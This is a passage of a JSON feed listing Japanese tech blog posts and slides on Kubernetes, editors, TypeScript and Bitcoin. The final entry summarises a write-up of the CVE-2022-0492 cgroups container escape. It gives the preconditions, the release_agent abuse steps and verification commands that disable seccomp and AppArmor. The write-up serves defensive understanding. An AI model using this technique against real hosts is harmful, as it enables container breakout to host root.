cor...","isoDate":"2022-10-28T10:45:26.000Z","dateMiliSeconds":1666953926000,"authorName":"toshikish","authorId":"toshikish"},{"title":"Bitcoinナカモト論文補足資料","link":"https://speakerdeck.com/shukob/bitcoinnakamotolun-wen-bu-zu-zi-liao","contentSnippet":"https://cryptocurrency.connpass.com/event/262938/\\rビットコインとか勉強会#70《Bitcoinナカモト論文》【暗号通貨読書会#46】 の補足資料です。","isoDate":"2022-10-28T04:00:00.000Z","dateMiliSeconds":1666929600000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Luaフィルタで表現力を手に入れろ","link":"https://blog.atusy.net/2022/10/22/lua-filter-for-r-users/","contentSnippet":"作例と共にLuaフィルタとLuaの文法について紹介。Tokyo.R 102の資料で主にRユーザーを対象としているが、Pandocユーザーにも参考になるはず。","isoDate":"2022-10-22T00:00:00.000Z","dateMiliSeconds":1666396800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"controller-runtime Deep Dive","link":"https://speakerdeck.com/bells17/controller-runtime-deep-dive","contentSnippet":"Kubernetes Meetup Tokyo #53 ( https://k8sjp.connpass.com/event/259350/ ) のセッション資料です。\\rcontroller-runtimeのアーキテクチャや内部実装について解説しています。\\r\\rセッション動画はこちらです。\\rhttps://youtu.be/jCyt993dzaU\\r\\r以下スライドで紹介しているリンク:\\r\\rcontroller-runtime clientについて: https://zenn.dev/bells17/articles/controller-runtime-client \\rcontroller-runtime: https://github.com/kubernetes-sigs/controller-runtime/tree/v0.12.3 \\raws-load-balancer-controller: https://github.com/kubernetes-sigs/aws-load-balancer-controller/tree/v2.4.4 \\rkueue: https://github.com/kubernetes-sigs/kueue/tree/v0.2.1\\rKubebuilder Book: https://book.kubebuilder.io/architecture.html \\rつくって学ぶKubebuilder: https://zoetrope.github.io/kubebuilder-training/ \\rGinkgo/GomegaによるKubernetes Operatorのテスト手法: https://zenn.dev/zoetro/books/testing-kubernetes-operator \\rCaching Unstructured Objects using controller-runtime: https://ymmt2005.hatenablog.com/entry/2021/07/25/Caching_Unstructured_Objects_using_controller-runtime \\rkubebuilder-declarative-pattern: https://github.com/kubernetes-sigs/kubebuilder-declarative-pattern \\rkubebuilder: https://github.com/kubernetes-sigs/kubebuilder \\rcontroller-tools: https://github.com/kubernetes-sigs/controller-tools \\r\\raws-load-balancer-controller(Ingress Controller for AWS): https://github.com/kubernetes-sigs/aws-load-balancer-controller \\rkueue(Job Queueing): https://github.com/kubernetes-sigs/kueue \\rtopolvm(CSI Driver for LVM): https://github.com/topolvm/topolvm \\rmoco(MySQL Operator): https://github.com/cybozu-go/moco \\rlogging-operator: https://github.com/banzaicloud/logging-operator \\ristio(Service Mesh): https://github.com/istio/istio","isoDate":"2022-10-06T04:00:00.000Z","dateMiliSeconds":1665028800000,"authorName":"bells17","authorId":"bells17"},{"title":"Istio のサービスへの接続でプロトコルエラーになる","link":"https://zenn.dev/toshikish/articles/d0dd54ae067bed","contentSnippet":"現象Istio サービスメッシュを有効にした Kubernetes クラスタ内に立てた Service に接続しようとするも,upstream connect error or disconnect/reset before headers. reset reason: protocol error が出て到達できない。例えば,以下のような Service に gRPC で接続しようとしても失敗する。apiVersion: v1kind: Servicemetadata: name: my-servicespec: selector: app.kubern...","isoDate":"2022-10-04T02:55:06.000Z","dateMiliSeconds":1664852106000,"authorName":"toshikish","authorId":"toshikish"},{"title":"SQL*Loaderで複数の文字コードが混ざったデータをロードする","link":"https://zenn.dev/nnaka2992/articles/load_complex_characterset_oracle","contentSnippet":"SQL*Loaderで複数の文字コードが混ざったデータをロードする 概要単一のテキストファイル内で特定のカラムのみ文字コードが違うファイルをSQL*Loaderでデータベースに取り込む方法 注意本記事で扱っている対処方法はおそらく紛れ込んだ文字コードが本来あるべき文字コードの一部として解釈できない場合使用できないと思います。(未検証)最低限文字化けしながらも読み込める状態を想定しています。 結論コントロールファイル内で文字コードの変換が必要なカラムに以下の関数を適用する。column \\"CONVERT(:column, \'target_charset\', \'s...","isoDate":"2022-09-25T14:48:29.000Z","dateMiliSeconds":1664117309000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"[2022/09/02] #kubenews 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220902","contentSnippet":"#kubenewsの2022年09月2日の回で話す、@bells17が今週気になったニュース記事をまとめたものです自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってますこの記事自体はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です配信URL:https://youtu.be/r2YsmQFcv-o 告知とかニュースっぽいもの controller-runtime clientについてhttps://zenn....","isoDate":"2022-09-02T13:01:11.000Z","dateMiliSeconds":1662123671000,"authorName":"bells17","authorId":"bells17"},{"title":"Visual Studio Codeで使えるリモート環境のdevcontainerが意外と便利そうだったのでまとめ","link":"https://zenn.dev/bells17/articles/remote-ssh-devcontainer","contentSnippet":"試してたらたまたまVisual Studio Code(vscode)のdevcontainer(Remote Container)が、Remote SSH経由でリモート環境でも使えることを知ったので、devcontainer用の環境構築方法やdevcontainerの構築方法についてまとめてみた今まではローカル環境のdockerか、codespaceでしか利用できないのかなと思っていたのだけど、リモート含めて利用できるとかなり便利そうな印象だったので一通り試してみました最近はRemote SSHでリモート環境を利用するケースが多いのでリモート環境で使えないならそんなに使えないかなと...","isoDate":"2022-09-01T18:16:25.000Z","dateMiliSeconds":1662056185000,"authorName":"bells17","authorId":"bells17"},{"title":"controller-runtime clientについて","link":"https://zenn.dev/bells17/articles/controller-runtime-client","contentSnippet":"KubernetesでOperatorやControllerを開発する際に利用するフレームワークであるcontroller-runtimeのclientについて調べたのでまとめます。この記事の目的は以下のような感じになります:controller-runtimeが提供するKubernetes clientの概要についてまとめることcontroller-runtime client周りの追加の不明点などがあった場合には、この記事をベースにコードベースで調べたいことをすぐに調べられる程度にはコードレベルで詳しい内容をまとめること以下についてわかるようになること各種内部clien...","isoDate":"2022-08-27T09:30:47.000Z","dateMiliSeconds":1661592647000,"authorName":"bells17","authorId":"bells17"},{"title":"Ethereum The Merge 〜これからのフルノード運用〜","link":"https://speakerdeck.com/shukob/ethereum-the-merge-korekarafalsehurufalsedoyun-yong","contentSnippet":"The MergeでEthereumのフルノード運用がどう変わるのか、廃止になるTestnetは何かなどをLTでお話ししました。\\rhttps://cryptocurrency.connpass.com/event/256526/","isoDate":"2022-08-14T04:00:00.000Z","dateMiliSeconds":1660449600000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"felpパッケージでRのヘルプをあいまいに検索しよう","link":"https://blog.atusy.net/2022/08/13/felp-fuzzyhelp/","contentSnippet":"Rでヘルプを見ようにも記憶があいまいだったり、つづりがあやふやで調べようがない経験があるかもしれません。tidyverseに入ってるなんちゃらパッケージのミュータントみたいな関数、なんだっけ?geom_limeとかgeom_pintってライムもビールも欲しいけどそうやないんや!1そこで、あいまいな(fuzzy)キーワードでヘルプを検索するfuzzyhelp関数をfelpパッケージに追加しました。","isoDate":"2022-08-13T00:00:00.000Z","dateMiliSeconds":1660348800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"React.FCをやめる必要はない","link":"https://zenn.dev/kimitsu/articles/lets-use-react-fc","contentSnippet":"React や TypeScript に限らず、明示的に型をつけた方が良いという主張です。帰結として React.FC をやめる必要はないと思います。 なぜ明示的に型を付けた方が良いのか 理由 1: コードが少しだけ分かりづらくなる型推論をコンパイラに任せたコードは書くのが楽で見た目もスッキリします。一方で読み手の人間の負担は少しだけ増えます。ソースコードに書かれていない情報を読み取る必要が出るからです。最近のエディタ / IDE はマウスホバーで型情報を表示してくれますね。しかし例えば GitHub 上で PR を見ているときは違います。型を確認するにはコードの別...","isoDate":"2022-08-08T07:05:21.000Z","dateMiliSeconds":1659942321000,"authorName":"Yunosuke Yamada","authorId":"yyamada"},{"title":"Vim/NeovimのCTRL_GをPrefixにしてみる","link":"https://blog.atusy.net/2022/08/08/ctrlg-as-prefix-vim/","contentSnippet":"CTRL_Gの機能はステータスラインで賄えるのでGit用のPrefixにしてみました","isoDate":"2022-08-08T00:00:00.000Z","dateMiliSeconds":1659916800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Fuzzy Finderで捗るFernによるファイル操作","link":"https://blog.atusy.net/2022/08/05/fuzzyfern/","contentSnippet":"FernはVim/Neovim向けのファイラーで、外部依存がなくパフォーマンスも良好なので、好んで使っています。また、ファイラーらしく、ファイル操作などの機能を種々揃えており、「action」と呼んでいます。Fernの画面上でaを押すと、コマンドラインモードでアクションを指定でき、設定してあればタブ補完も効くようです。作者は、ユーザーがキーマッピングを覚えなくて良い点を魅力に挙げています。","isoDate":"2022-08-05T00:00:00.000Z","dateMiliSeconds":1659657600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"SRETT#4黒い画面をもっと効率的に(使って自動化の時間を捻出)","link":"https://speakerdeck.com/masasuzu/srett-number-4hei-ihua-mian-womotutoxiao-lu-de-ni-shi-tutezi-dong-hua-falseshi-jian-wonian-chu","contentSnippet":"","isoDate":"2022-08-04T04:00:00.000Z","dateMiliSeconds":1659585600000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"cobra は便利になっている","link":"https://speakerdeck.com/nwiizo/cobra-habian-li-ninatuteiru","contentSnippet":"2022年3-shake SRE Tech Talk #4\\rhttps://3-shake.connpass.com/event/253028/","isoDate":"2022-08-04T04:00:00.000Z","dateMiliSeconds":1659585600000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"nvim-treehopperで捗るコードの折り畳み","link":"https://blog.atusy.net/2022/08/01/treehopper/","contentSnippet":"nvim-treehopperを使うと、ソースコードの抽象構文木に基づいた範囲選択が簡単にできます。関数定義全体を選択とか、if文の条件部分を選択とか、文脈に沿った範囲選択が捗るわけです。おそらく、定番の使い道は選択範囲の削除(d | D)やヤンク(y | Y)でしょう。加えてコードの折り畳み(zf)とも相性が良いとに気付きました。","isoDate":"2022-08-01T00:00:00.000Z","dateMiliSeconds":1659312000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"chowcho.nvimで任意の関数を、対話的に選択したwindowで実行","link":"https://blog.atusy.net/2022/07/31/chowcho-nvim-any-func/","contentSnippet":"chowcho.nvimを使うと、Neovimの各windowに番号が表示され、目的番号を入力すると、フォーカスを移動できます。https://github.com/tkmpypy/chowcho.nvim今回、この機能を一般化し、winidを受け取る任意の関数を実行できるようにしました。","isoDate":"2022-07-31T00:00:00.000Z","dateMiliSeconds":1659225600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ビットコイン・ライトニングネットワーク概論","link":"https://speakerdeck.com/shukob/bitutokoinraitoningunetutowakugai-lun","contentSnippet":"https://cryptocurrency.connpass.com/event/254173/\\rhttps://event.ospn.jp/osc2022-online-kyoto/session/618650\\r【OSC2022 Online Kyoto にて発表】\\rビットコインは送金トランザクションの処理量に限界があり、ブロックチェーンの外での送金を行うオフチェーン技術により手数料の軽減と、送金の高速化を実現できます。オフチェーンの中でもビットコインと同様、中央管理者のいないライトニングネットワークの開発が進んでいます。ビットコインの復習を少しした後、ライトニング・ネットワーク技術の概論をお話しいたしました。","isoDate":"2022-07-30T04:00:00.000Z","dateMiliSeconds":1659153600000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Union typesに対してPickやOmitをしたい時","link":"https://zenn.dev/kimitsu/articles/48dc59129c5569","contentSnippet":"タイトルの通りです。普通(?)のオブジェクト型に対して一部のプロパティを取り出したり削除したりしたい時にはPickやOmitを使いますね。ただPickとOmitはUnion typesに対して分配的には効きません(後述)。そこでUnion typesに対して分配的にPickやOmitをする方法を考えていきます。実際に作ろうと思ったときと同じ手順で説明していくので、これからGeneric typesを書いていきたい方の参考にもなればと思います。 結論// 補助的な型type KeyOfUnion = T extends T ? keyof T : neve...","isoDate":"2022-07-18T12:58:36.000Z","dateMiliSeconds":1658149116000,"authorName":"Yunosuke Yamada","authorId":"yyamada"},{"title":"[2022/07/015] #kubenews 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220715","contentSnippet":"#kubenewsの2022年07月15日の回で話す、@bells17が今週気になったニュース記事をまとめたものです自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってますこの記事自体はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です配信URL:https://youtu.be/ar1_fxX601E 告知とかニュースっぽいもの 『Linuxで動かしながら学ぶTCP/IPネットワーク入門』でネットワークの勉強をし...","isoDate":"2022-07-15T07:31:08.000Z","dateMiliSeconds":1657870268000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/07/01] #kubenews 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220701","contentSnippet":"#kubenewsの2022年07月01日の回で話す、@bells17が今週気になったニュース記事をまとめたものです自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってますこの記事自体はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です配信URL:https://youtu.be/R7VHtaBZFkQ 告知とかニュースっぽいもの Kubernetes Novice Tokyo #20にてKueueのセッションを行...","isoDate":"2022-07-01T11:14:01.000Z","dateMiliSeconds":1656674041000,"authorName":"bells17","authorId":"bells17"},{"title":"AWS SAP 合格体験記 2022/06","link":"https://zenn.dev/tayusa/articles/7b3dd99a79403c","contentSnippet":"はじめにネットで公開されている数々のAWS Certified Solutions Architect - Professionalの合格体験記や勉強法などにお世話になったので自分も書いてみることにしました。教材選びや学習スケジュールの参考になれば嬉しいです。 私の前提知識まず、本題に入る前に私のSAPを受ける前までのスキルセットを軽く紹介させてください。業務でのAWS歴は8ヶ月ほどで現在SREとして働いています以前はRuby on Railsなどを書くプログラマーをやっていましたAWS SAAは2022/03に取得しましたAWSではない他のIT資格は以下で...","isoDate":"2022-06-24T00:36:49.000Z","dateMiliSeconds":1656031009000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Lexicalでシンタックスハイライトする","link":"https://zenn.dev/kimitsu/articles/440143e94af670","contentSnippet":"LexicalはDraft.jsの後継となるテキストエディタフレームワークです。元々Metaで開発されていたものがOSSとして公開されました。https://github.com/facebook/lexicalLexicalは主にリッチテキストを実装するためのフレームワークですが、高度に抽象化されているためソースコードエディタを実装するのにも利用できます。ただコードに関するモジュールである@lexical/codeはドキュメントが虚無なため、本記事で使い方の紹介ができればと思います。https://lexical.dev/docs/api/lexical-code @...","isoDate":"2022-06-19T13:45:37.000Z","dateMiliSeconds":1655646337000,"authorName":"Yunosuke Yamada","authorId":"yyamada"},{"title":"istio-proxyがどのように通信を仲介しているかを知る","link":"https://zenn.dev/tayusa/articles/aa54bbff3d0d2d","contentSnippet":"目的前回、書いた記事で素のKubernetesのネットワークについて少し理解できたのですが、Istioを入れた場合はEnvoyが通信を仲介するのでその仕組みを知りたく調べてみましたhttps://zenn.dev/tayusa/articles/c705cd65b6ee74 環境OS: Arch Linux(5.17.9-arch1-1)k8sの環境: kindhttps://kind.sigs.k8s.io/version 0.14.0デフォルトのk8sのバージョンは1.24 クラスタのセットアップ kindでクラスタ作成https:...","isoDate":"2022-06-03T18:42:53.000Z","dateMiliSeconds":1654281773000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"asdf のバージョン アップがうまくいかなかった","link":"https://zenn.dev/kyohei_saito/articles/40a13800f34d5f","contentSnippet":"最近、転職により業務環境が Windows から Mac に変わったことで、ツール類のバージョン管理として asdf を使用しはじめました。asdf 自体のバージョンアップがうまくいかない事象に直面したため、解決方法をメモしておきます。 サマリHomebrew により asdf をバージョンアップしたら、asdf でインストールしたツールが使用できなくなりました。shim ディレクトリ内のスクリプトに記述された asdf のパスが古いバージョンとなっていたことが原因でした。shim ディレクトリを別のディレクトリに移動後、asdf reshim を実行することで shim デ...","isoDate":"2022-05-29T09:36:54.000Z","dateMiliSeconds":1653817014000,"authorName":"Kyohei Saito","authorId":"kiyos"},{"title":"KubernetesのServiceの挙動を確認する","link":"https://zenn.dev/tayusa/articles/c705cd65b6ee74","contentSnippet":"目的普段、Kubernetesを触ってはいるのですが、表面的な使い方しか知らないので動きを確認してみます 環境OS: Arch Linux(5.17.9-arch1-1)k8sの環境: kindhttps://kind.sigs.k8s.io/version 0.14.0デフォルトのk8sのバージョンは1.24 ひとまず、ローカルでクラスタを立てる環境に応じてkindをインストールhttps://kind.sigs.k8s.io/docs/user/quick-start/#installationクラスタの作成$ kind ...","isoDate":"2022-05-28T12:19:47.000Z","dateMiliSeconds":1653740387000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"DenoとTypeScriptで自作CLIツールのghfを移植してみた(動機編)","link":"https://blog.atusy.net/2022/05/27/deno-ghf/","contentSnippet":"以前、ghコマンドを曖昧検索で便利にするghfコマンドを作りました。GitHub CLI(gh)に曖昧検索の力を加えるghfコマンドを作ってzshプラグイン化した","isoDate":"2022-05-27T00:00:00.000Z","dateMiliSeconds":1653609600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Kueueアーキテクチャ/Kueue Architecture","link":"https://speakerdeck.com/bells17/kueue-architecture","contentSnippet":"参考リンク一覧:\\rコードリーディングメモ: https://zenn.dev/bells17/scraps/16625963e51d23 \\r動作確認用manifests: https://github.com/bells17/tmp/tree/main/kueue-example \\rリポジトリ: https://github.com/kubernetes-sigs/kueue/tree/v0.1.0\\rDesign Docs(controller): https://bit.ly/kueue-controller-design \\rDesign Docs(API): https://bit.ly/kueue-apis \\rOld Proposal: https://bit.ly/k8s-job-management \\r\\r---\\r\\rhttps://youtu.be/CFUfw3cMNI8?t=724\\rにてこのスライドを使ったKueueの解説セッションを行いましたので動画で見たい方はこちらでどうぞ","isoDate":"2022-05-24T04:00:00.000Z","dateMiliSeconds":1653364800000,"authorName":"bells17","authorId":"bells17"},{"title":"Goで立てたWebサーバーでソケットを学ぶ","link":"https://zenn.dev/tayusa/articles/077d911b357a92","contentSnippet":"目的TCPなどにまるで明るくないので、学習のために調べてみました 環境Arch Linux(5.17.9-arch1-1)go version go1.18.3 linux/amd64 やることGoで書いたWebサーバーを動かして挙動を確認したり、少しコードを見てみますコードは以下ですpackage mainimport (\\t\\"fmt\\"\\t\\"log\\"\\t\\"net/http\\"\\t\\"time\\")func main() {\\thttp.HandleFunc(\\"/\\", func(w http.ResponseWriter, r *http.Request)...","isoDate":"2022-05-22T12:32:11.000Z","dateMiliSeconds":1653222731000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Neovimのカラースキームを編集中のバッファのファイルパスに応じて変える","link":"https://blog.atusy.net/2022/04/28/vim-colorscheme-by-buffer/","contentSnippet":"Vim/NeovimでLSPを利用して関数などの定義を参照すると、気付いたら標準ライブラリなどを参照している、なんて場面があります。どこまで実装を追いたいかは人それぞれとは言え、作業ディレクトリの内外どちらのファイルを参照しているかはすぐに気付ける方がいいでしょう。","isoDate":"2022-04-28T00:00:00.000Z","dateMiliSeconds":1651104000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Kueue入門/Kueue Introduction","link":"https://speakerdeck.com/bells17/kueue-introduction","contentSnippet":"#k8sjp 第50回のLT資料です\\rhttps://k8sjp.connpass.com/event/244591/","isoDate":"2022-04-27T04:00:00.000Z","dateMiliSeconds":1651032000000,"authorName":"bells17","authorId":"bells17"},{"title":"ProtocolBuffers/gRPCを安全に書き進めるためのエトセトラ","link":"https://speakerdeck.com/nwiizo/protocol-buffers-grpc-wo-an-quan-nishu-kijin-merutamefalseetosetora","contentSnippet":"OWASP Fukuoka Meeting #6 \\rhttps://owasp-kyushu.connpass.com/event/244388/ \\r#owaspfukuoka","isoDate":"2022-04-27T04:00:00.000Z","dateMiliSeconds":1651032000000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"zennの執筆環境向けdevcontainerを作成した話","link":"https://zenn.dev/bells17/articles/zenn-devcontainer","contentSnippet":"タイトルまんまでzennの執筆環境向けdevcontainerを作成したという話です前々からzennの記事はGithub repositoryと連携して書いており、codespaceにvscodeから接続して執筆してたのですが、zenn-cliを使ったプレビューが可能らしいということを最近知ったので、devcontainerの勉強がてらサクッとプレビューが可能な環境を作りましたという内容になります作ったdevcontainerのリポジトリはこちらですhttps://github.com/bells17/zenn-template 使い方READMEに書いてある通りですが、te...","isoDate":"2022-04-17T15:27:41.000Z","dateMiliSeconds":1650209261000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/04/15] 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220415","contentSnippet":"普段は#kubenewsの2022年04月15日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/j76uphcYs2E 告知とかニュースっぽいもの Kubernetes Meetup TokyoでLTする予定ですhttps...","isoDate":"2022-04-15T12:50:24.000Z","dateMiliSeconds":1650027024000,"authorName":"bells17","authorId":"bells17"},{"title":"吉祥寺.pm29で久しぶりにLTしてきました #kichijojipm","link":"https://blog.masasuzu.net/entry/2022/04/15/202342","contentSnippet":"kichijojipm.connpass.com久しぶりにLTしてきました。久しぶりに外で発表したいなと思いつつ、だいぶブランクあるのでちょうどいいリハビリできるところがないかな。— masasuzu (@masasuz) 2022年4月9日 こんなこと考えてたら良いタイミングできちぴーが開催されるので、LT申し込んでみました。#kichijojipm 7年ぶりにLTしたので緊張した。というのと、前回の発表調べて7年前もきちぴーあったのかという驚きもあった。— masasuzu (@masasuz) 2022年4月12日 どうやら7年ぶりだったみたいです。タイミング的に最終出社日の翌日だったので、キャリアの話をしました。diary.masasuzu.net正直、LTにおさまる量じゃなかったのは反省点です。資料ももうちょっとなんとかできたかなあという気持ちがあります。少しずつ登壇回数増やして、勘を取り戻していきたいところ。","isoDate":"2022-04-15T11:23:42.000Z","dateMiliSeconds":1650021822000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2022-04-12 吉祥寺.pm 29","link":"https://speakerdeck.com/masasuzu/2022-04-12-ji-xiang-si-dot-pm-29","contentSnippet":"","isoDate":"2022-04-12T04:00:00.000Z","dateMiliSeconds":1649736000000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"CVE-2022-0492 調査まとめ","link":"https://kyohmizu.hatenablog.com/entry/2022/04/06/233150","contentSnippet":"cgroups v1 の脆弱性 CVE-2022-0492 について、調査した内容をまとめました。イベントで発表した内容ですが、時間の都合で語りきれなかった部分も多く、内容を加筆してブログに書くことにしました。 speakerdeck.comCVE-2022-0492 概要release_agent についてエクスプロイト前提条件要点検証修正パッチコンテナセキュリティseccompAppArmor (SELinux)Kubernetes の場合EKS, GKE の場合さいごに参考リンクCVE-2022-0492LinuxコンテナセキュリティCVE-2022-0492 概要CVE-2022-0492 は cgroups v1 における特権昇格・コンテナブレイクアウトの脆弱性です。cgroups v1 の release_agent 機能を悪用することで、コンテナからホストの root 権限で任意コマンド実行が可能となります。詳細は後述しますが、これは本来特権コンテナに限定されるべき設定が、capabilities のチェック漏れにより非特権コンテナから行える状態だったことが原因です。本脆弱性は seccomp や AppArmor/SELinux を有効にすることで回避可能です。release_agent についてcgroups v1 は cpu, memory, pids のようにリソースをサブシステムに分割し、各サブシステムがディレクトリ構造を取っています。# ls /sys/fs/cgroup/blkio cpu,cpuacct cpuset freezer memory net_cls net_prio pids systemdcpu cpuacct devices hugetlb misc net_cls,net_prio perf_event rdma unifiedrelease_agent は各 cgroup サブシステムのルートディレクトリに配置されるファイルで、cgroup 内のプロセスが終了する時に起動させるプログラムを設定します。リリースエージェントプログラム の起動の有無は、cgroup ディレクトリ内の notify_on_release の値で判断されます。このファイルはルート以下、各 child cgroup のディレクトリにも配置されています。notify_on_release = 1 の場合、リリースエージェントプログラムを起動します。cgroup のディレクトリ構成pids cgroup のルートディレクトリを見ると、以下のように release_agent, notify_on_release のファイルを確認できます。# ls /sys/fs/cgroup/pids/cgroup.clone_children cgroup.sane_behavior docker notify_on_release system.slice user.slicecgroup.procs default init.scope release_agent tasks# cat /sys/fs/cgroup/pids/release_agent ← 空のファイル# cat /sys/fs/cgroup/pids/notify_on_release 0ちなみにコンテナに CAP_SYS_ADMIN がある場合、release_agent を使えば本脆弱性を利用することなくブレイクアウト可能です。https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)また cgroups v2 には release_agent がなく、リリースの通知は別の仕組みを使っています。エクスプロイト前提条件本脆弱性は次の条件を全て満たす場合に影響があります。root ユーザーまたは、no_new_privsフラグなしでコンテナを起動しているseccomp, AppArmor/SELinux がいずれも有効でないホストの非特権ユーザー名前空間が有効(ubuntu ではデフォルトの設定です)各設定の確認方法↓# cat /proc/sys/kernel/unprivileged_userns_clone ← 非特権ユーザ名前空間1# cat /proc/self/status | grep Seccomp ← seccompSeccomp: 0Seccomp_filters: 0# cat /proc/self/attr/current ← AppArmordocker-default (enforce)要点コンテナから cgroups の release_agent に書き込みたいrdma サブシステムは root cgroup に所属しているが、readonly でマウントされているcgroup を rw で新たにマウントしたいが、マウントには CAP_SYS_ADMIN が必要unshare で user namespace (ns) を作成すれば CAP_SYS_ADMIN が得られるcgroup, mount ns も同時に作成することで cgroup をマウント可能にrdma cgroup をマウント すると release_agent に書き込み可能cgroup 内のプロセスが終了するタイミングで、任意のプログラムをホストの root 権限で実行検証脆弱な Kernel バージョンで CVE-2022-0492 を検証します。インスタンスに用意した ubuntu 上で、seccomp, AppArmor をオフにした docker コンテナを起動します。# uname -aLinux ip-172-31-1-29 5.13.0-1017-aws #19~20.04.1-Ubuntu SMP Mon Mar 7 12:53:12 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux# docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bashdocker はコンテナ作成時に cgroup ns を作成しないので、コンテナはホストと同じ cgroup ns に所属しています。自身の cgroup を確認すれば root cgroup からのパスがわかるため、コンテナ内から各サブシステムが root cgroup に所属しているかどうか調べることができます。root@ab988587a245:/# cat /proc/self/cgroup13:misc:/12:rdma:/ ← rdma サブシステムは root cgroup11:hugetlb:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a10:cpuset:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a9:net_cls,net_prio:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a8:perf_event:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a7:blkio:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a6:devices:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a5:freezer:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a4:cpu,cpuacct:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a3:pids:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a2:memory:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a1:name=systemd:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a0::/system.slice/containerd.serviceこれで rdma サブシステムが root cgroup に所属していることがわかりました。root@ab988587a245:/# mount | grep \'cgroup (ro\'cgroup on /sys/fs/cgroup/systemd type cgroup (ro,nosuid,nodev,noexec,relatime,xattr,name=systemd)cgroup on /sys/fs/cgroup/memory type cgroup (ro,nosuid,nodev,noexec,relatime,memory)cgroup on /sys/fs/cgroup/pids type cgroup (ro,nosuid,nodev,noexec,relatime,pids)cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpu,cpuacct)cgroup on /sys/fs/cgroup/freezer type cgroup (ro,nosuid,nodev,noexec,relatime,freezer)cgroup on /sys/fs/cgroup/devices type cgroup (ro,nosuid,nodev,noexec,relatime,devices)cgroup on /sys/fs/cgroup/blkio type cgroup (ro,nosuid,nodev,noexec,relatime,blkio)cgroup on /sys/fs/cgroup/perf_event type cgroup (ro,nosuid,nodev,noexec,relatime,perf_event)cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (ro,nosuid,nodev,noexec,relatime,net_cls,net_prio)cgroup on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpuset)cgroup on /sys/fs/cgroup/hugetlb type cgroup (ro,nosuid,nodev,noexec,relatime,hugetlb)cgroup on /sys/fs/cgroup/rdma type cgroup (ro,nosuid,nodev,noexec,relatime,rdma) ← readonly でマウントされているcgroup on /sys/fs/cgroup/misc type cgroup (ro,nosuid,nodev,noexec,relatime,misc)root@ab988587a245:/# ls -l /sys/fs/cgroup/rdma/total 0-rw-r--r-- 1 root root 0 Mar 15 01:40 cgroup.clone_children-rw-r--r-- 1 root root 0 Mar 15 01:40 cgroup.procs-r--r--r-- 1 root root 0 Mar 15 01:40 cgroup.sane_behavior-rw-r--r-- 1 root root 0 Mar 15 01:40 notify_on_release-rw-r--r-- 1 root root 0 Mar 29 16:01 release_agentdrwxr-xr-x 13 root root 0 Mar 26 21:07 